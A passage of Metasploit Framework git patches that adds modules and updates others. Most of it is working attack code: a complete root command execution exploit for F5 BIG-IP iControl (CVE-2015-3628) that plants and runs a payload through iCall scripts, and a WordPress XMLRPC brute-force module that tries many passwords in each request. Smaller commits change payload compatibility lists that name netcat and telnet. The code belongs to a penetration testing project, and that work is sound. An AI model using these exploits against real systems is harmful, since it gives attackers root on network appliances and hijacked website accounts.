ARCH_CMD, + 'Targets' => + [ + ['F5 BIG-IP LTM 11.x', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 3 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + ], self.class) + end + + + + # cmd is valid tcl script + def create_script(cmd) + scriptname = Rex::Text.rand_text_alpha_lower(5) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> + <soapenv:Header/> + <soapenv:Body> + <scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> + <item>#{scriptname}</item></scripts> + <definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> + <item>#{cmd}</item></definitions> + </scr:create> + </soapenv:Body> +</soapenv:Envelope> + } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 200 + return scriptname + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def delete_script(scriptname) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> + <soapenv:Header/> + <soapenv:Body> + <scr:delete_script soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> +<item>#{scriptname}</item> +</scripts> + </scr:delete_script> + </soapenv:Body> +</soapenv:Envelope> + } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + if res and res.code == 200 + return true + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def script_exists(scriptname) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:scr="urn:iControl:iCall/Script"> + <soapenv:Header/> + <soapenv:Body> + <scr:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> + </soapenv:Body> +</soapenv:Envelope> + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/ + return true + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def create_handler(scriptname, interval) + handler_name = Rex::Text.rand_text_alpha_lower(5) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> + <soapenv:Header/> + <soapenv:Body> + <per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> +<item>#{handler_name}</item> +</handlers> + <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> +<item>/Common/#{scriptname}</item> +</scripts> + <intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl"> +<item>#{interval}</item> +</intervals> + </per:create> + </soapenv:Body> +</soapenv:Envelope> +} + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 200 + return handler_name + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def delete_handler(handler_name) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> + <soapenv:Header/> + <soapenv:Body> + <per:delete_handler soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> +<item>#{handler_name}</item> +</handlers> + </per:delete_handler> + </soapenv:Body> +</soapenv:Envelope> + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 200 + return true + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def handler_exists(handler_name) + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:per="urn:iControl:iCall/PeriodicHandler"> + <soapenv:Header/> + <soapenv:Body> + <per:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> + </soapenv:Body> +</soapenv:Envelope> +} + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/ + return true + else + if res and res.code == 401 + print_error('401 Unauthorized') + end + return false + end + end + + def check + # strategy: we'll send a create_script request, with empty name: + # if everything is ok, the server return a 500 error saying it doesn't like empty names + # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. + # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable + # any other response is considered not vulnerable + pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" + xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> + <soapenv:Header/> + <soapenv:Body> + <scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> + <item></item></scripts> + <definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> + <item></item></definitions> + </scr:create> + </soapenv:Body> +</soapenv:Envelope> + } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + if res and res.code == 500 and res.body =~ /path is empty/ + return Exploit::CheckCode::Appears + elsif res and res.code == 401 + print_error('401 Unauthorized') + return Exploit::CheckCode::Unknown + else + return Exploit::CheckCode::Safe + end + end + + def exploit + + # phase 1: create iCall script to create file with payload, execute it and remove it. + filepath = '/tmp/' + filename = Rex::Text.rand_text_alpha_lower(5) + dest_file = filepath + filename + scriptname = Rex::Text.rand_text_alpha_lower(5) + print_status('Uploading payload...') + + cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file};@ + + %Q@chmod +x #{dest_file};#{dest_file};rm #{dest_file} "}@ + + script = create_script(cmd) + unless script + print_error("Upload script failed") + return false + end + unless script_exists(script) + print_error("create_script() run successfully but script was not found") + end + interval = 5 + + # phase 2: create iCall Handler, that will actually run the previously created script + print_status('Creating trigger...') + handler = create_handler(script, interval) + unless handler + print_error('Script uploaded but create_handler() failed') + end + print_status('Wait until payload is executed...') + + sleep(interval+2) # small delay, just to make sure + print_status('Trying cleanup...') + unless delete_handler(handler) and delete_script(script) + print_error('Error while cleaning up') + else + print_status('Cleanup finished with no errors') + end + + end +end From d4d4e3ddb0a543140feec80c5cc29a63f72fd551 Mon Sep 17 00:00:00 2001 From: m0t <mamaragan@gmail.com> Date: Mon, 9 Nov 2015 13:41:59 +0000 Subject: [PATCH 1127/2172] f5 module --- modules/exploits/linux/http/f5_icall_cmd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 1fe0fb2f1b..cf71b7a822 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-3628'], ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'], - ['URL', 'XXX GDS BLOG'] + ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, From 9f4f478d2ddc021fcc1a810bee7f42030a243566 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 17:28:58 +0300 Subject: [PATCH 1128/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../wordpress_xmlrpc_massive_bruteforce.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb new file mode 100644 index 0000000000..f8146b2fbf --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Massive WordPress bruteforce via XMLRPC', + 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # MSF module + 'William (WCoppola@Lares.com)' # Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ], + 'DisclosureDate' => '2015' + )) + + register_options( + [ + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + ], self.class) + + + register_advanced_options( + [ + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + ], self.class) + end + + def usernames + File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} + end + + def passwords + File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} + end + + def generate_xml user + + print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + xml_payloads = [] # Container for all generated XMLs + xml = "" + # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + passwords.each_slice(1500) do |pass_group| + + xml = "<?xml version=\"1.0\"?>\n" + xml << "<methodCall>\n" + xml << "<methodName>system.multicall</methodName>\n" + xml << "<params>\n" + xml << " <param><value><array><data>\n" + pass_group.each do |pass| + + xml << " <value><struct>\n" + xml << " <member>\n" + xml << " <name>methodName</name>\n" + xml << " <value><string>wp.getUsersBlogs</string></value>\n" + xml << " </member>\n" + xml << " <member>\n" + xml << " <name>params</name><value><array><data>\n" + xml << " <value><array><data>\n" + xml << " <value><string>#{user}</string></value>\n" + xml << " <value><string>#{pass}</string></value>\n" + xml << " </data></array></value>\n" + xml << " </data></array></value>\n" + xml << " </member>\n" + xml << " </struct></value>\n" + + end + xml << " </data></array></value></param>\n" + xml << "</params>\n" + xml << "</methodCall>" + + xml_payloads << xml + end + + print_status('Generating XMLs just done.') + return xml_payloads + end + + # + # Check target status + # + def check_wpstatus + print_status("Checking #{peer} status!") + + case + when !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + :abort + when !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + :abort + else + print_status("Target #{peer} is running Wordpress") + end + end + + def parse_response(res) + + resp.scan(/Incorrect username or password/) + + end + + def run + check_wpstatus + + usernames.each do |user| + passfound = false + + print_status("Bruteforcing user: #{user}") + generate_xml(user).each do |xml| + break if passfound == true + + opts = + { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + # Request Parser + req_xml = Nokogiri::Slop xml + # Request length + # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size + # print_status("Totla number of combinations: #{total_req}") + + # Response Parser + res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + + begin + res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| + begin + # If this gives exception then its the correct password + value.struct.member[1].value.string.text + rescue + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + + print_good("Credentials Found! #{user}:#{pass}") + passfound = true + end end + rescue NoMethodError + print_error("It seems you got blocked!") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + sleep 6 * 60 + retry + # return :abort + end + print_status('Taking a nap for 2 seconds..') + sleep 2 + end end end + +end + From 9586f416a16b3f4d0dd6d17be96db1a427742466 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 17:37:06 +0300 Subject: [PATCH 1129/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f8146b2fbf..d627769fc5 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" + xml = '' # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -113,9 +113,7 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) - resp.scan(/Incorrect username or password/) - end def run @@ -143,10 +141,6 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml - # Request length - # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size - # print_status("Totla number of combinations: #{total_req}") - # Response Parser res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join @@ -164,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort From 2bf57a3cf3693e73891f74125b9fddde7baad272 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 18:23:15 +0300 Subject: [PATCH 1130/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index d627769fc5..bafdd49d3e 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Sabri (@KINGSABRI)', # MSF module - 'William (WCoppola@Lares.com)' # Requester + 'William (WCoppola@Lares.com)', + 'Sabri (@KINGSABRI)' ], 'References' => [ @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) ], self.class) @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = '' - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + xml = "" + # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| xml = "<?xml version=\"1.0\"?>\n" @@ -113,7 +113,9 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) + resp.scan(/Incorrect username or password/) + end def run @@ -158,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort @@ -168,4 +170,3 @@ class Metasploit3 < Msf::Auxiliary end end end end - From daa999fb1cb47e8eca0a1c7d1c665305652d0b09 Mon Sep 17 00:00:00 2001 From: m0t <mamaragan@gmail.com> Date: Mon, 9 Nov 2015 16:02:32 +0000 Subject: [PATCH 1131/2172] f5 module --- modules/exploits/linux/http/f5_icall_cmd.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index cf71b7a822..e7420375d7 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -15,8 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "F5 iControl iCall::Script Root Command Execution", 'Description' => %q{ This module exploits an authenticated a privilege escalation vulnerability - in the iControl API on the F5 BIGIP LTM (and likely other F5 devices). The attacker needs valid - credentials and the Resource Administrator role. + in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid + credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, + (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details) }, 'License' => MSF_LICENSE, 'Author' => From 46e7c53950120c4c524d3ec5ae2dc0350603c8c7 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 19:04:33 +0300 Subject: [PATCH 1132/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) fix --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bafdd49d3e..4b9b2ef0be 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'Massive WordPress bruteforce via XMLRPC', - 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ], - 'DisclosureDate' => '2015' + ] )) register_options( From 8e5adfd79bdfedce700cf91cf503587078606157 Mon Sep 17 00:00:00 2001 From: wvu-r7 <William_Vu@rapid7.com> Date: Mon, 9 Nov 2015 13:13:45 -0600 Subject: [PATCH 1133/2172] Fix broken 50/72 rule link --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b3d216bd4d..dc8cd6cc82 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -97,7 +97,7 @@ already way ahead of the curve, so keep it up! [Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes [Ruby style guide]:https://github.com/bbatsov/ruby-style-guide [Rubocop]:https://rubygems.org/search?query=rubocop -[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html +[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html [topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches [console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks [verification steps]:https://help.github.com/articles/writing-on-github#task-lists From f8a215e3cdd66d87ee677769a4e31216260441f4 Mon Sep 17 00:00:00 2001 From: Chris Doughty <chris_doughty@rapid7.com> Date: Mon, 9 Nov 2015 15:56:03 -0600 Subject: [PATCH 1134/2172] Adding changes to allow for easier version bumping --- lib/metasploit/framework/version.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 97cbd977cf..a9e29850fb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,14 +30,13 @@ module Metasploit end end - MAJOR = 4 - MINOR = 11 - PATCH = 5 + VERSION = "4.11.5" + MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash end - VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}#{Version::HASH}" - GEM_VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" + VERSION = "#{Version::VERSION}-#{Version::PRERELEASE}#{Version::HASH}" + GEM_VERSION = "#{Version::VERSION}" end end From f86f427d5464e780b0e85759ddf64b8acb9c0e68 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Mon, 9 Nov 2015 16:06:05 -0600 Subject: [PATCH 1135/2172] Move Compat into Payload so that is actually used --- .../linux/http/groundwork_monarch_cmd_exec.rb | 8 ++++---- .../linux/http/zenoss_showdaemonxmlconfig_exec.rb | 10 +++++----- modules/exploits/multi/http/cups_bash_env_exec.rb | 12 ++++++------ .../exploits/unix/webapp/narcissus_backend_exec.rb | 12 ++++++------ 4 files changed, 21 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 2491fe0af6..a7ca3d7d9b 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -37,17 +37,17 @@ class Metasploit3 < Msf::Exploit::Remote [ 'US-CERT-VU', '345260' ], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] ], - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8190, 'DisableNops' => true, 'Compat' => { - 'PayloadType' => 'cmd' + 'PayloadType' => 'cmd', + # Based on the default Ubuntu 10.04 VM appliance + 'RequiredCmd' => 'generic telnet netcat perl python' }, - # Based on the default Ubuntu 10.04 VM appliance - 'RequiredCmd' => 'generic telnet netcat perl python' }, 'Platform' => %w{ linux unix }, 'Targets' => diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index 35883c3c1b..30baf11724 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -39,11 +39,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, - }, - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python perl', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python perl', + }, }, 'Targets' => [ diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 57b028d97a..468b398f67 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -36,12 +36,12 @@ class Metasploit4 < Msf::Exploit::Remote { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", - 'DisableNops' => true - }, - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic awk ruby' + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic awk ruby' + }, }, # Tested: # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 7a6eda7b35..f5fdb49389 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -35,15 +35,15 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => "\x00\x0d\x0a" + 'BadChars' => "\x00\x0d\x0a", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby python netcat netcat-e' + }, }, 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python netcat netcat-e' - }, 'Targets' => [ ['Narcissus', {}] From 0eab2fa98d3e0ba07042c29362747c96c29e8940 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 9 Nov 2015 18:17:16 -0800 Subject: [PATCH 1136/2172] remove unrelated module --- .../linux/http/trendnet_cve-2014-1628.rb | 156 ------------------ 1 file changed, 156 deletions(-) delete mode 100644 modules/exploits/linux/http/trendnet_cve-2014-1628.rb diff --git a/modules/exploits/linux/http/trendnet_cve-2014-1628.rb b/modules/exploits/linux/http/trendnet_cve-2014-1628.rb deleted file mode 100644 index e7d40248cb..0000000000 --- a/modules/exploits/linux/http/trendnet_cve-2014-1628.rb +++ /dev/null @@ -1,156 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: 